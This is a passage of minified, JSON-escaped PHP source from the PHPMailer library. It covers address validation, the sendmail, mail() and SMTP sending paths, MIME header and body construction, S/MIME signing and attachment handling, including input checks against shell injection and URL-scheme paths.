false;}$this->From=$address;$this->FromName=$name;if($auto){if(empty($this->Sender)){$this->Sender=$address;}}return true;}public function getLastMessageID(){return $this->lastMessageID;}public static function validateAddress($address,$patternselect=null){if(is_null($patternselect)){$patternselect=self::$validator;}if(is_callable($patternselect)){return call_user_func($patternselect,$address);}if(strpos($address,\"\\n\")!==false or strpos($address,\"\\r\")!==false){return false;}if(!$patternselect or $patternselect=='auto'){if(defined('PCRE_VERSION')){if(version_compare(PCRE_VERSION,'8.0.3')>=0){$patternselect='pcre8';}else{$patternselect='pcre';}}elseif(function_exists('extension_loaded')and extension_loaded('pcre')){$patternselect='pcre';}else{if(version_compare(PHP_VERSION,'5.2.0')>=0){$patternselect='php';}else{$patternselect='noregex';}}}switch($patternselect){case 'pcre8':return (boolean)preg_match('\/^(?!(?>(?1)\"?(?>\\\\\\[ -~]|[^\"])\"?(?1)){255,})(?!(?>(?1)\"?(?>\\\\\\[ -~]|[^\"])\"?(?1)){65,}@)'.'((?>(?>(?>((?>(?>(?>\\x0D\\x0A)?[\\t ])+|(?>[\\t ]*\\x0D\\x0A)?[\\t ]+)?)(\\((?>(?2)'.'(?>[\\x01-\\x08\\x0B\\x0C\\x0E-\\'*-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]|(?3)))*(?2)\\)))+(?2))|(?2))?)'.'([!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?2)(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]))*'.'(?2)\")(?>(?1)\\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)'.'(?>(?1)\\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}'.'|(?!(?:.*[a-f0-9][:\\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:'.'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}'.'|[1-9]?[0-9])(?>\\.(?9)){3}))\\])(?1)$\/isD',$address);case 'pcre':return (boolean)preg_match('\/^(?!(?>\"?(?>\\\\\\[ -~]|[^\"])\"?){255,})(?!(?>\"?(?>\\\\\\[ -~]|[^\"])\"?){65,}@)(?>'.'[!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*\")'.'(?>\\.(?>[!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*\"))*'.'@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\\.(?![a-z0-9-]{64,})'.'(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:'.'[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?'.'::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:'.'[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?'.'::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}'.'|[1-9]?[0-9])(?>\\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\\])$\/isD',$address);case 'html5':return (boolean)preg_match('\/^[a-zA-Z0-9.!#$%&\\'*+\\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}'.'[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$\/sD',$address);case 'noregex':return(strlen($address)>=3 and strpos($address,'@')>=1 and strpos($address,'@')!=strlen($address)-1);case 'php':default:return (boolean)filter_var($address,FILTER_VALIDATE_EMAIL);}}public function idnSupported(){return function_exists('idn_to_ascii')and function_exists('mb_convert_encoding');}public function punyencodeAddress($address){if($this->idnSupported()and!empty($this->CharSet)and($pos=strrpos($address,'@'))!==false){$domain=substr($address,++$pos);if($this->has8bitChars($domain)and@mb_check_encoding($domain,$this->CharSet)){$domain=mb_convert_encoding($domain,'UTF-8',$this->CharSet);if(($punycode=defined('INTL_IDNA_VARIANT_UTS46')?idn_to_ascii($domain,0,INTL_IDNA_VARIANT_UTS46):idn_to_ascii($domain))!==false){return substr($address,0,$pos).$punycode;}}}return $address;}public function send(){try{if(!$this->preSend()){return false;}return $this->postSend();}catch(phpmailerException $exc){$this->mailHeader='';$this->setError($exc->getMessage());if($this->exceptions){throw $exc;}return false;}}public function preSend(){try{$this->error_count=0;$this->mailHeader='';foreach(array_merge($this->RecipientsQueue,$this->ReplyToQueue)as $params){$params[1]=$this->punyencodeAddress($params[1]);call_user_func_array(array($this,'addAnAddress'),$params);}if((count($this->to)+count($this->cc)+count($this->bcc))<1){throw new phpmailerException($this->lang('provide_address'),self::STOP_CRITICAL);}foreach(array('From','Sender','ConfirmReadingTo')as $address_kind){$this->$address_kind=trim($this->$address_kind);if(empty($this->$address_kind)){continue;}$this->$address_kind=$this->punyencodeAddress($this->$address_kind);if(!$this->validateAddress($this->$address_kind)){$error_message=$this->lang('invalid_address').' (punyEncode) '.$this->$address_kind;$this->setError($error_message);$this->edebug($error_message);if($this->exceptions){throw new phpmailerException($error_message);}return false;}}if($this->alternativeExists()){$this->ContentType='multipart\/alternative';}$this->setMessageType();if(!$this->AllowEmpty and empty($this->Body)){throw new phpmailerException($this->lang('empty_message'),self::STOP_CRITICAL);}$this->MIMEHeader='';$this->MIMEBody=$this->createBody();$tempheaders=$this->MIMEHeader;$this->MIMEHeader=$this->createHeader();$this->MIMEHeader.=$tempheaders;if($this->Mailer=='mail'){if(count($this->to)>0){$this->mailHeader.=$this->addrAppend('To',$this->to);}else{$this->mailHeader.=$this->headerLine('To','undisclosed-recipients:;');}$this->mailHeader.=$this->headerLine('Subject',$this->encodeHeader($this->secureHeader(trim($this->Subject))));}if(!empty($this->DKIM_domain)and!empty($this->DKIM_selector)and(!empty($this->DKIM_private_string)or(!empty($this->DKIM_private)and self::isPermittedPath($this->DKIM_private)and file_exists($this->DKIM_private)))){$header_dkim=$this->DKIM_Add($this->MIMEHeader.$this->mailHeader,$this->encodeHeader($this->secureHeader($this->Subject)),$this->MIMEBody);$this->MIMEHeader=rtrim($this->MIMEHeader,\"\\r\\n \").self::CRLF.str_replace(\"\\r\\n\",\"\\n\",$header_dkim).self::CRLF;}return true;}catch(phpmailerException $exc){$this->setError($exc->getMessage());if($this->exceptions){throw $exc;}return false;}}public function postSend(){try{switch($this->Mailer){case 'sendmail':case 'qmail':return $this->sendmailSend($this->MIMEHeader,$this->MIMEBody);case 'smtp':return $this->smtpSend($this->MIMEHeader,$this->MIMEBody);case 'mail':return $this->mailSend($this->MIMEHeader,$this->MIMEBody);default:$sendMethod=$this->Mailer.'Send';if(method_exists($this,$sendMethod)){return $this->$sendMethod($this->MIMEHeader,$this->MIMEBody);}return $this->mailSend($this->MIMEHeader,$this->MIMEBody);}}catch(phpmailerException $exc){$this->setError($exc->getMessage());$this->edebug($exc->getMessage());if($this->exceptions){throw $exc;}}return false;}protected function sendmailSend($header,$body){if(!empty($this->Sender)and self::isShellSafe($this->Sender)){if($this->Mailer=='qmail'){$sendmailFmt='%s -f%s';}else{$sendmailFmt='%s -oi -f%s -t';}}else{if($this->Mailer=='qmail'){$sendmailFmt='%s';}else{$sendmailFmt='%s -oi -t';}}$sendmail=sprintf($sendmailFmt,escapeshellcmd($this->Sendmail),$this->Sender);if($this->SingleTo){foreach($this->SingleToArray as $toAddr){if(!@$mail=popen($sendmail,'w')){throw new phpmailerException($this->lang('execute').$this->Sendmail,self::STOP_CRITICAL);}fputs($mail,'To: '.$toAddr.\"\\n\");fputs($mail,$header);fputs($mail,$body);$result=pclose($mail);$this->doCallback(($result==0),array($toAddr),$this->cc,$this->bcc,$this->Subject,$body,$this->From);if($result!=0){throw new phpmailerException($this->lang('execute').$this->Sendmail,self::STOP_CRITICAL);}}}else{if(!@$mail=popen($sendmail,'w')){throw new phpmailerException($this->lang('execute').$this->Sendmail,self::STOP_CRITICAL);}fputs($mail,$header);fputs($mail,$body);$result=pclose($mail);$this->doCallback(($result==0),$this->to,$this->cc,$this->bcc,$this->Subject,$body,$this->From);if($result!=0){throw new phpmailerException($this->lang('execute').$this->Sendmail,self::STOP_CRITICAL);}}return true;}protected static function isShellSafe($string){if(escapeshellcmd($string)!==$string or!in_array(escapeshellarg($string),array(\"'$string'\",\"\\\"$string\\\"\"))){return false;}$length=strlen($string);for($i=0;$i<$length;$i++){$c=$string[$i];if(!ctype_alnum($c)&&strpos('@_-.',$c)===false){return false;}}return true;}protected static function isPermittedPath($path){return!preg_match('#^[a-z]+:\/\/#i',$path);}protected function mailSend($header,$body){$toArr=array();foreach($this->to as $toaddr){$toArr[]=$this->addrFormat($toaddr);}$to=implode(', ',$toArr);$params=null;if(!empty($this->Sender)and $this->validateAddress($this->Sender)){if(self::isShellSafe($this->Sender)){$params=sprintf('-f%s',$this->Sender);}}if(!empty($this->Sender)and!ini_get('safe_mode')and $this->validateAddress($this->Sender)){$old_from=ini_get('sendmail_from');ini_set('sendmail_from',$this->Sender);}$result=false;if($this->SingleTo and count($toArr)>1){foreach($toArr as $toAddr){$result=$this->mailPassthru($toAddr,$this->Subject,$body,$header,$params);$this->doCallback($result,array($toAddr),$this->cc,$this->bcc,$this->Subject,$body,$this->From);}}else{$result=$this->mailPassthru($to,$this->Subject,$body,$header,$params);$this->doCallback($result,$this->to,$this->cc,$this->bcc,$this->Subject,$body,$this->From);}if(isset($old_from)){ini_set('sendmail_from',$old_from);}if(!$result){throw new phpmailerException($this->lang('instantiate'),self::STOP_CRITICAL);}return true;}public function getSMTPInstance(){if(!is_object($this->smtp)){$this->smtp=new SMTP;}return $this->smtp;}protected function smtpSend($header,$body){$bad_rcpt=array();if(!$this->smtpConnect($this->SMTPOptions)){throw new phpmailerException($this->lang('smtp_connect_failed'),self::STOP_CRITICAL);}if(!empty($this->Sender)and $this->validateAddress($this->Sender)){$smtp_from=$this->Sender;}else{$smtp_from=$this->From;}if(!$this->smtp->mail($smtp_from)){$this->setError($this->lang('from_failed').$smtp_from.' : '.implode(',',$this->smtp->getError()));throw new phpmailerException($this->ErrorInfo,self::STOP_CRITICAL);}foreach(array($this->to,$this->cc,$this->bcc)as $togroup){foreach($togroup as $to){if(!$this->smtp->recipient($to[0])){$error=$this->smtp->getError();$bad_rcpt[]=array('to'=>$to[0],'error'=>$error['detail']);$isSent=false;}else{$isSent=true;}$this->doCallback($isSent,array($to[0]),array(),array(),$this->Subject,$body,$this->From);}}if((count($this->all_recipients)>count($bad_rcpt))and!$this->smtp->data($header.$body)){throw new phpmailerException($this->lang('data_not_accepted'),self::STOP_CRITICAL);}if($this->SMTPKeepAlive){$this->smtp->reset();}else{$this->smtp->quit();$this->smtp->close();}if(count($bad_rcpt)>0){$errstr='';foreach($bad_rcpt as $bad){$errstr.=$bad['to'].': '.$bad['error'];}throw new phpmailerException($this->lang('recipients_failed').$errstr,self::STOP_CONTINUE);}return true;}public function smtpConnect($options=null){if(is_null($this->smtp)){$this->smtp=$this->getSMTPInstance();}if(is_null($options)){$options=$this->SMTPOptions;}if($this->smtp->connected()){return true;}$this->smtp->setTimeout($this->Timeout);$this->smtp->setDebugLevel($this->SMTPDebug);$this->smtp->setDebugOutput($this->Debugoutput);$this->smtp->setVerp($this->do_verp);$hosts=explode(';',$this->Host);$lastexception=null;foreach($hosts as $hostentry){$hostinfo=array();if(!preg_match('\/^((ssl|tls):\\\/\\\/)*([a-zA-Z0-9\\.-]*|\\[[a-fA-F0-9:]+\\]):?([0-9]*)$\/',trim($hostentry),$hostinfo)){$this->edebug('Ignoring invalid host: '.$hostentry);continue;}$prefix='';$secure=$this->SMTPSecure;$tls=($this->SMTPSecure=='tls');if('ssl'==$hostinfo[2]or(''==$hostinfo[2]and 'ssl'==$this->SMTPSecure)){$prefix='ssl:\/\/';$tls=false;$secure='ssl';}elseif($hostinfo[2]=='tls'){$tls=true;$secure='tls';}$sslext=defined('OPENSSL_ALGO_SHA1');if('tls'===$secure or 'ssl'===$secure){if(!$sslext){throw new phpmailerException($this->lang('extension_missing').'openssl',self::STOP_CRITICAL);}}$host=$hostinfo[3];$port=$this->Port;$tport=(integer)$hostinfo[4];if($tport>0 and $tport<65536){$port=$tport;}if($this->smtp->connect($prefix.$host,$port,$this->Timeout,$options)){try{if($this->Helo){$hello=$this->Helo;}else{$hello=$this->serverHostname();}$this->smtp->hello($hello);if($this->SMTPAutoTLS and $sslext and $secure!='ssl'and $this->smtp->getServerExt('STARTTLS')){$tls=true;}if($tls){if(!$this->smtp->startTLS()){throw new phpmailerException($this->lang('connect_host'));}$this->smtp->hello($hello);}if($this->SMTPAuth){if(!$this->smtp->authenticate($this->Username,$this->Password,$this->AuthType,$this->Realm,$this->Workstation)){throw new phpmailerException($this->lang('authenticate'));}}return true;}catch(phpmailerException $exc){$lastexception=$exc;$this->edebug($exc->getMessage());$this->smtp->quit();}}}$this->smtp->close();if($this->exceptions and!is_null($lastexception)){throw $lastexception;}return false;}public function smtpClose(){if(is_a($this->smtp,'SMTP')){if($this->smtp->connected()){$this->smtp->quit();$this->smtp->close();}}}public function setLanguage($langcode='en',$lang_path=''){$renamed_langcodes=array('br'=>'pt_br','cz'=>'cs','dk'=>'da','no'=>'nb','se'=>'sv','sr'=>'rs');if(isset($renamed_langcodes[$langcode])){$langcode=$renamed_langcodes[$langcode];}$PHPMAILER_LANG=array('authenticate'=>'SMTP Error: Could not authenticate.','connect_host'=>'SMTP Error: Could not connect to SMTP host.','data_not_accepted'=>'SMTP Error: data not accepted.','empty_message'=>'Message body empty','encoding'=>'Unknown encoding: ','execute'=>'Could not execute: ','file_access'=>'Could not access file: ','file_open'=>'File Error: Could not open file: ','from_failed'=>'The following From address failed: ','instantiate'=>'Could not instantiate mail function.','invalid_address'=>'Invalid address: ','mailer_not_supported'=>' mailer is not supported.','provide_address'=>'You must provide at least one recipient email address.','recipients_failed'=>'SMTP Error: The following recipients failed: ','signing'=>'Signing Error: ','smtp_connect_failed'=>'SMTP connect() failed.','smtp_error'=>'SMTP server error: ','variable_set'=>'Cannot set or reset variable: ','extension_missing'=>'Extension missing: ');if(empty($lang_path)){$lang_path=dirname(__FILE__).DIRECTORY_SEPARATOR.'language'.DIRECTORY_SEPARATOR;}if(!preg_match('\/^[a-z]{2}(?:_[a-zA-Z]{2})?$\/',$langcode)){$langcode='en';}$foundlang=true;$lang_file=$lang_path.'phpmailer.lang-'.$langcode.'.php';if($langcode!='en'){if(!self::isPermittedPath($lang_file)or!is_readable($lang_file)){$foundlang=false;}else{$foundlang=include $lang_file;}}$this->language=$PHPMAILER_LANG;return (boolean)$foundlang;}public function getTranslations(){return $this->language;}public function addrAppend($type,$addr){$addresses=array();foreach($addr as $address){$addresses[]=$this->addrFormat($address);}return $type.': '.implode(', ',$addresses).$this->LE;}public function addrFormat($addr){if(empty($addr[1])){return $this->secureHeader($addr[0]);}else{return $this->encodeHeader($this->secureHeader($addr[1]),'phrase').' <'.$this->secureHeader($addr[0]).'>';}}public function wrapText($message,$length,$qp_mode=false){if($qp_mode){$soft_break=sprintf(' =%s',$this->LE);}else{$soft_break=$this->LE;}$is_utf8=(strtolower($this->CharSet)=='utf-8');$lelen=strlen($this->LE);$crlflen=strlen(self::CRLF);$message=$this->fixEOL($message);if(substr($message,-$lelen)==$this->LE){$message=substr($message,0,-$lelen);}$lines=explode($this->LE,$message);$message='';foreach($lines as $line){$words=explode(' ',$line);$buf='';$firstword=true;foreach($words as $word){if($qp_mode and(strlen($word)>$length)){$space_left=$length-strlen($buf)-$crlflen;if(!$firstword){if($space_left>20){$len=$space_left;if($is_utf8){$len=$this->utf8CharBoundary($word,$len);}elseif(substr($word,$len-1,1)=='='){$len--;}elseif(substr($word,$len-2,1)=='='){$len-=2;}$part=substr($word,0,$len);$word=substr($word,$len);$buf.=' '.$part;$message.=$buf.sprintf('=%s',self::CRLF);}else{$message.=$buf.$soft_break;}$buf='';}while(strlen($word)>0){if($length<=0){break;}$len=$length;if($is_utf8){$len=$this->utf8CharBoundary($word,$len);}elseif(substr($word,$len-1,1)=='='){$len--;}elseif(substr($word,$len-2,1)=='='){$len-=2;}$part=substr($word,0,$len);$word=substr($word,$len);if(strlen($word)>0){$message.=$part.sprintf('=%s',self::CRLF);}else{$buf=$part;}}}else{$buf_o=$buf;if(!$firstword){$buf.=' ';}$buf.=$word;if(strlen($buf)>$length and $buf_o!=''){$message.=$buf_o.$soft_break;$buf=$word;}}$firstword=false;}$message.=$buf.self::CRLF;}return $message;}public function utf8CharBoundary($encodedText,$maxLength){$foundSplitPos=false;$lookBack=3;while(!$foundSplitPos){$lastChunk=substr($encodedText,$maxLength-$lookBack,$lookBack);$encodedCharPos=strpos($lastChunk,'=');if(false!==$encodedCharPos){$hex=substr($encodedText,$maxLength-$lookBack+$encodedCharPos+1,2);$dec=hexdec($hex);if($dec<128){if($encodedCharPos>0){$maxLength=$maxLength-($lookBack-$encodedCharPos);}$foundSplitPos=true;}elseif($dec>=192){$maxLength=$maxLength-($lookBack-$encodedCharPos);$foundSplitPos=true;}elseif($dec<192){$lookBack+=3;}}else{$foundSplitPos=true;}}return $maxLength;}public function setWordWrap(){if($this->WordWrap<1){return;}switch($this->message_type){case 'alt':case 'alt_inline':case 'alt_attach':case 'alt_inline_attach':$this->AltBody=$this->wrapText($this->AltBody,$this->WordWrap);break;default:$this->Body=$this->wrapText($this->Body,$this->WordWrap);break;}}public function createHeader(){$result='';$result.=$this->headerLine('Date',$this->MessageDate==''?self::rfcDate():$this->MessageDate);if($this->SingleTo){if($this->Mailer!='mail'){foreach($this->to as $toaddr){$this->SingleToArray[]=$this->addrFormat($toaddr);}}}else{if(count($this->to)>0){if($this->Mailer!='mail'){$result.=$this->addrAppend('To',$this->to);}}elseif(count($this->cc)==0){$result.=$this->headerLine('To','undisclosed-recipients:;');}}$result.=$this->addrAppend('From',array(array(trim($this->From),$this->FromName)));if(count($this->cc)>0){$result.=$this->addrAppend('Cc',$this->cc);}if(($this->Mailer=='sendmail'or $this->Mailer=='qmail'or $this->Mailer=='mail')and count($this->bcc)>0){$result.=$this->addrAppend('Bcc',$this->bcc);}if(count($this->ReplyTo)>0){$result.=$this->addrAppend('Reply-To',$this->ReplyTo);}if($this->Mailer!='mail'){$result.=$this->headerLine('Subject',$this->encodeHeader($this->secureHeader($this->Subject)));}if(''!=$this->MessageID and preg_match('\/^<.*@.*>$\/',$this->MessageID)){$this->lastMessageID=$this->MessageID;}else{$this->lastMessageID=sprintf('<%s@%s>',$this->uniqueid,$this->serverHostname());}$result.=$this->headerLine('Message-ID',$this->lastMessageID);if(!is_null($this->Priority)){$result.=$this->headerLine('X-Priority',$this->Priority);}if($this->XMailer==''){$result.=$this->headerLine('X-Mailer','PHPMailer '.$this->Version.' (https:\/\/github.com\/PHPMailer\/PHPMailer)');}else{$myXmailer=trim($this->XMailer);if($myXmailer){$result.=$this->headerLine('X-Mailer',$myXmailer);}}if($this->ConfirmReadingTo!=''){$result.=$this->headerLine('Disposition-Notification-To','<'.$this->ConfirmReadingTo.'>');}foreach($this->CustomHeader as $header){$result.=$this->headerLine(trim($header[0]),$this->encodeHeader(trim($header[1])));}if(!$this->sign_key_file){$result.=$this->headerLine('MIME-Version','1.0');$result.=$this->getMailMIME();}return $result;}public function getMailMIME(){$result='';$ismultipart=true;switch($this->message_type){case 'inline':$result.=$this->headerLine('Content-Type','multipart\/related;');$result.=$this->textLine(\"\\tboundary=\\\"\".$this->boundary[1].'\"');break;case 'attach':case 'inline_attach':case 'alt_attach':case 'alt_inline_attach':$result.=$this->headerLine('Content-Type','multipart\/mixed;');$result.=$this->textLine(\"\\tboundary=\\\"\".$this->boundary[1].'\"');break;case 'alt':case 'alt_inline':$result.=$this->headerLine('Content-Type','multipart\/alternative;');$result.=$this->textLine(\"\\tboundary=\\\"\".$this->boundary[1].'\"');break;default:$result.=$this->textLine('Content-Type: '.$this->ContentType.'; charset='.$this->CharSet);$ismultipart=false;break;}if($this->Encoding!='7bit'){if($ismultipart){if($this->Encoding=='8bit'){$result.=$this->headerLine('Content-Transfer-Encoding','8bit');}}else{$result.=$this->headerLine('Content-Transfer-Encoding',$this->Encoding);}}if($this->Mailer!='mail'){$result.=$this->LE;}return $result;}public function getSentMIMEMessage(){return rtrim($this->MIMEHeader.$this->mailHeader,\"\\n\\r\").self::CRLF.self::CRLF.$this->MIMEBody;}protected function generateId(){return md5(uniqid(time()));}public function createBody(){$body='';$this->uniqueid=$this->generateId();$this->boundary[1]='b1_'.$this->uniqueid;$this->boundary[2]='b2_'.$this->uniqueid;$this->boundary[3]='b3_'.$this->uniqueid;if($this->sign_key_file){$body.=$this->getMailMIME().$this->LE;}$this->setWordWrap();$bodyEncoding=$this->Encoding;$bodyCharSet=$this->CharSet;if($bodyEncoding=='8bit'and!$this->has8bitChars($this->Body)){$bodyEncoding='7bit';$bodyCharSet='us-ascii';}if('base64'!=$this->Encoding and self::hasLineLongerThanMax($this->Body)){$bodyEncoding='quoted-printable';}$altBodyEncoding=$this->Encoding;$altBodyCharSet=$this->CharSet;if($altBodyEncoding=='8bit'and!$this->has8bitChars($this->AltBody)){$altBodyEncoding='7bit';$altBodyCharSet='us-ascii';}if('base64'!=$altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)){$altBodyEncoding='quoted-printable';}$mimepre=\"This is a multi-part message in MIME format.\".$this->LE.$this->LE;switch($this->message_type){case 'inline':$body.=$mimepre;$body.=$this->getBoundary($this->boundary[1],$bodyCharSet,'',$bodyEncoding);$body.=$this->encodeString($this->Body,$bodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->attachAll('inline',$this->boundary[1]);break;case 'attach':$body.=$mimepre;$body.=$this->getBoundary($this->boundary[1],$bodyCharSet,'',$bodyEncoding);$body.=$this->encodeString($this->Body,$bodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->attachAll('attachment',$this->boundary[1]);break;case 'inline_attach':$body.=$mimepre;$body.=$this->textLine('--'.$this->boundary[1]);$body.=$this->headerLine('Content-Type','multipart\/related;');$body.=$this->textLine(\"\\tboundary=\\\"\".$this->boundary[2].'\"');$body.=$this->LE;$body.=$this->getBoundary($this->boundary[2],$bodyCharSet,'',$bodyEncoding);$body.=$this->encodeString($this->Body,$bodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->attachAll('inline',$this->boundary[2]);$body.=$this->LE;$body.=$this->attachAll('attachment',$this->boundary[1]);break;case 'alt':$body.=$mimepre;$body.=$this->getBoundary($this->boundary[1],$altBodyCharSet,'text\/plain',$altBodyEncoding);$body.=$this->encodeString($this->AltBody,$altBodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->getBoundary($this->boundary[1],$bodyCharSet,'text\/html',$bodyEncoding);$body.=$this->encodeString($this->Body,$bodyEncoding);$body.=$this->LE.$this->LE;if(!empty($this->Ical)){$body.=$this->getBoundary($this->boundary[1],'','text\/calendar; method=REQUEST','');$body.=$this->encodeString($this->Ical,$this->Encoding);$body.=$this->LE.$this->LE;}$body.=$this->endBoundary($this->boundary[1]);break;case 'alt_inline':$body.=$mimepre;$body.=$this->getBoundary($this->boundary[1],$altBodyCharSet,'text\/plain',$altBodyEncoding);$body.=$this->encodeString($this->AltBody,$altBodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->textLine('--'.$this->boundary[1]);$body.=$this->headerLine('Content-Type','multipart\/related;');$body.=$this->textLine(\"\\tboundary=\\\"\".$this->boundary[2].'\"');$body.=$this->LE;$body.=$this->getBoundary($this->boundary[2],$bodyCharSet,'text\/html',$bodyEncoding);$body.=$this->encodeString($this->Body,$bodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->attachAll('inline',$this->boundary[2]);$body.=$this->LE;$body.=$this->endBoundary($this->boundary[1]);break;case 'alt_attach':$body.=$mimepre;$body.=$this->textLine('--'.$this->boundary[1]);$body.=$this->headerLine('Content-Type','multipart\/alternative;');$body.=$this->textLine(\"\\tboundary=\\\"\".$this->boundary[2].'\"');$body.=$this->LE;$body.=$this->getBoundary($this->boundary[2],$altBodyCharSet,'text\/plain',$altBodyEncoding);$body.=$this->encodeString($this->AltBody,$altBodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->getBoundary($this->boundary[2],$bodyCharSet,'text\/html',$bodyEncoding);$body.=$this->encodeString($this->Body,$bodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->endBoundary($this->boundary[2]);$body.=$this->LE;$body.=$this->attachAll('attachment',$this->boundary[1]);break;case 'alt_inline_attach':$body.=$mimepre;$body.=$this->textLine('--'.$this->boundary[1]);$body.=$this->headerLine('Content-Type','multipart\/alternative;');$body.=$this->textLine(\"\\tboundary=\\\"\".$this->boundary[2].'\"');$body.=$this->LE;$body.=$this->getBoundary($this->boundary[2],$altBodyCharSet,'text\/plain',$altBodyEncoding);$body.=$this->encodeString($this->AltBody,$altBodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->textLine('--'.$this->boundary[2]);$body.=$this->headerLine('Content-Type','multipart\/related;');$body.=$this->textLine(\"\\tboundary=\\\"\".$this->boundary[3].'\"');$body.=$this->LE;$body.=$this->getBoundary($this->boundary[3],$bodyCharSet,'text\/html',$bodyEncoding);$body.=$this->encodeString($this->Body,$bodyEncoding);$body.=$this->LE.$this->LE;$body.=$this->attachAll('inline',$this->boundary[3]);$body.=$this->LE;$body.=$this->endBoundary($this->boundary[2]);$body.=$this->LE;$body.=$this->attachAll('attachment',$this->boundary[1]);break;default:$this->Encoding=$bodyEncoding;$body.=$this->encodeString($this->Body,$this->Encoding);break;}if($this->isError()){$body='';}elseif($this->sign_key_file){try{if(!defined('PKCS7_TEXT')){throw new phpmailerException($this->lang('extension_missing').'openssl');}$file=tempnam(sys_get_temp_dir(),'mail');if(false===file_put_contents($file,$body)){throw new phpmailerException($this->lang('signing').' Could not write temp file');}$signed=tempnam(sys_get_temp_dir(),'signed');if(empty($this->sign_extracerts_file)){$sign=@openssl_pkcs7_sign($file,$signed,'file:\/\/'.realpath($this->sign_cert_file),array('file:\/\/'.realpath($this->sign_key_file),$this->sign_key_pass),null);}else{$sign=@openssl_pkcs7_sign($file,$signed,'file:\/\/'.realpath($this->sign_cert_file),array('file:\/\/'.realpath($this->sign_key_file),$this->sign_key_pass),null,PKCS7_DETACHED,$this->sign_extracerts_file);}if($sign){@unlink($file);$body=file_get_contents($signed);@unlink($signed);$parts=explode(\"\\n\\n\",$body,2);$this->MIMEHeader.=$parts[0].$this->LE.$this->LE;$body=$parts[1];}else{@unlink($file);@unlink($signed);throw new phpmailerException($this->lang('signing').openssl_error_string());}}catch(phpmailerException $exc){$body='';if($this->exceptions){throw $exc;}}}return $body;}protected function getBoundary($boundary,$charSet,$contentType,$encoding){$result='';if($charSet==''){$charSet=$this->CharSet;}if($contentType==''){$contentType=$this->ContentType;}if($encoding==''){$encoding=$this->Encoding;}$result.=$this->textLine('--'.$boundary);$result.=sprintf('Content-Type: %s; charset=%s',$contentType,$charSet);$result.=$this->LE;if($encoding!='7bit'){$result.=$this->headerLine('Content-Transfer-Encoding',$encoding);}$result.=$this->LE;return $result;}protected function endBoundary($boundary){return $this->LE.'--'.$boundary.'--'.$this->LE;}protected function setMessageType(){$type=array();if($this->alternativeExists()){$type[]='alt';}if($this->inlineImageExists()){$type[]='inline';}if($this->attachmentExists()){$type[]='attach';}$this->message_type=implode('_',$type);if($this->message_type==''){$this->message_type='plain';}}public function headerLine($name,$value){return $name.': '.$value.$this->LE;}public function textLine($value){return $value.$this->LE;}public function addAttachment($path,$name='',$encoding='base64',$type='',$disposition='attachment'){try{if(!self::isPermittedPath($path)or!@is_file($path)){throw new phpmailerException($this->lang('file_access').$path,self::STOP_CONTINUE);}if($type==''){$type=self::filenameToType($path);}$filename=basename($path);if($name==''){$name=$filename;}$this->attachment[]=array(0=>$path,1=>$filename,2=>$name,3=>$encoding,4=>$type,5=>false,6=>$disposition,7=>0);}catch(phpmailerException $exc){$this->setError($exc->getMessage());$this->edebug($exc->getMessage());if($this->exceptions){throw $exc;}return false;}return true;}public function getAttachments(){return $this->attachment;}protected function attachAll($disposition_type,$boundary){$mime=array();$cidUniq=array();$incl=array();foreach($this->attachment as $attachment){if($attachment[6]==$disposition_type){$string='';$path='';$bString=$attachment[5];if($bString){$string=$attachment[0];}else{$path=$attachment[0];}$inclhash=md5(serialize($attachment));if(in_array($inclhash,$incl)){continue;}$incl[]=$inclhash;$name=$attachment[2];$encoding=$attachment[3];$type=$attachment[4];$disposition=$attachment[6];$cid=$attachment[7];if($disposition=='inline'&&array_key_exists($cid,$cidUniq)){continue;}$cidUniq[$cid]=true;$mime[]=sprintf('--%s%s',$boundary,$this->LE);if(!empty($name)){$mime[]=sprintf('Content-Type: %s; 